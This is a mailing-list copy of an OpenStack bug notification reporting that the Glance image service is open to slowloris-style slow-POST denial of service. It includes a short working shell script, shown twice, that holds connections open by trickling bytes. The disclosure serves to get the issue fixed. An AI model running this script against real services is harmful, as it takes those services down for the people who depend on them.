[Openstack-security] [Bug 1572966] Re: Glance is vulnerable to 'slow DOS' attacks
Jeremy Stanley
fungi at yuggoth.org
Fri Feb 28 15:32:17 UTC 2020
** Description changed:
- This issue is being treated as a potential security risk under embargo.
- Please do not make any public mention of embargoed (private) security
- vulnerabilities before their coordinated publication by the OpenStack
- Vulnerability Management Team in the form of an official OpenStack
- Security Advisory. This includes discussion of the bug or associated
- fixes in public forums such as mailing lists, code review systems and
- bug trackers. Please also avoid private disclosure to other individuals
- not already approved for access to this information, and provide this
- same reminder to those who are made aware of the issue prior to
- publication. All discussion should remain confined to this private bug
- report, and any proposed fixes should be added to the bug as
- attachments.
-
Glance is vulnerable to 'slow POST'/ 'slowloris'/slow read style
attacks.
You can use a script such as this:
#!/bin/sh
echo "POST /v2/images HTTP/1.1"
echo "Host: 192.168.1.101:9292"
echo "Accept-Encoding: gzip, deflate"
echo "X-Auth-Token: 4c70f52ea77b40e2ae42ccd0ac868e1d"
echo "Content-Type: application/json"
echo "Content-Length: 1000000000000000"
echo
while true
do
sleep 1
echo -n "X"
done
to hold a connection open to Glance indefinitely ($ bash script.sh |
telnet localhost 9292).
You can also do similar things sending bogus headers indefinitely/doing
slow reads etc.
(There's a good blog post here https://blogs.akamai.com/2013/09/slow-
dos-on-the-rise.html)
A couple of points:
1. This isn't specific to Glance
2. I'm not convinced that Glance code is the place to address this
3. I'm motivated to log this in part due to the proposed new 'max_upload_time' parameter: https://review.openstack.org/#/c/270980/9/glance/api/v2/info.py
I'd like to discuss the the max_upload_time parameter without being
accused of openly discussing DOS opportunities (even if they are fairly
obvious ones)
** Information type changed from Private Security to Public
** Tags added: security
--
You received this bug notification because you are a member of OpenStack
Security SIG, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1572966
Title:
Glance is vulnerable to 'slow DOS' attacks
Status in Glance:
Opinion
Status in OpenStack Compute (nova):
Opinion
Status in OpenStack Security Advisory:
Opinion
Bug description:
Glance is vulnerable to 'slow POST'/ 'slowloris'/slow read style
attacks.
You can use a script such as this:
#!/bin/sh
echo "POST /v2/images HTTP/1.1"
echo "Host: 192.168.1.101:9292"
echo "Accept-Encoding: gzip, deflate"
echo "X-Auth-Token: 4c70f52ea77b40e2ae42ccd0ac868e1d"
echo "Content-Type: application/json"
echo "Content-Length: 1000000000000000"
echo
while true
do
sleep 1
echo -n "X"
done
to hold a connection open to Glance indefinitely ($ bash script.sh |
telnet localhost 9292).
You can also do similar things sending bogus headers
indefinitely/doing slow reads etc.
(There's a good blog post here https://blogs.akamai.com/2013/09/slow-
dos-on-the-rise.html)
A couple of points:
1. This isn't specific to Glance
2. I'm not convinced that Glance code is the place to address this
3. I'm motivated to log this in part due to the proposed new 'max_upload_time' parameter: https://review.openstack.org/#/c/270980/9/glance/api/v2/info.py
I'd like to discuss the the max_upload_time parameter without being
accused of openly discussing DOS opportunities (even if they are
fairly obvious ones)
To manage notifications about this bug go to:
https://bugs.launchpad.net/glance/+bug/1572966/+subscriptions
More information about the Openstack-security
mailing list